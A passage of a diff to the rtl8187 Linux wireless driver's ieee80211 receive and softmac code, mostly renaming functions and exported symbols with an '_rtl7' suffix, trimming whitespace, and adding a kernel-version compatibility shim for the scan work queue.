(ieee->tkip_countermeasures && @@ -339,7 +405,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +415,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +433,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +479,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +502,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +510,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +547,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +567,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +595,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +621,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +639,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +649,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +672,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +685,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +696,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +730,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +740,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +760,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +788,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +829,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +962,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +979,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1030,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1057,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1080,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1109,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1181,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1213,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1221,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1260,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1270,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1305,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1327,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1372,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1381,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1421,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac.c 2007-07-13 01:46:05.000000000 +0200 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & 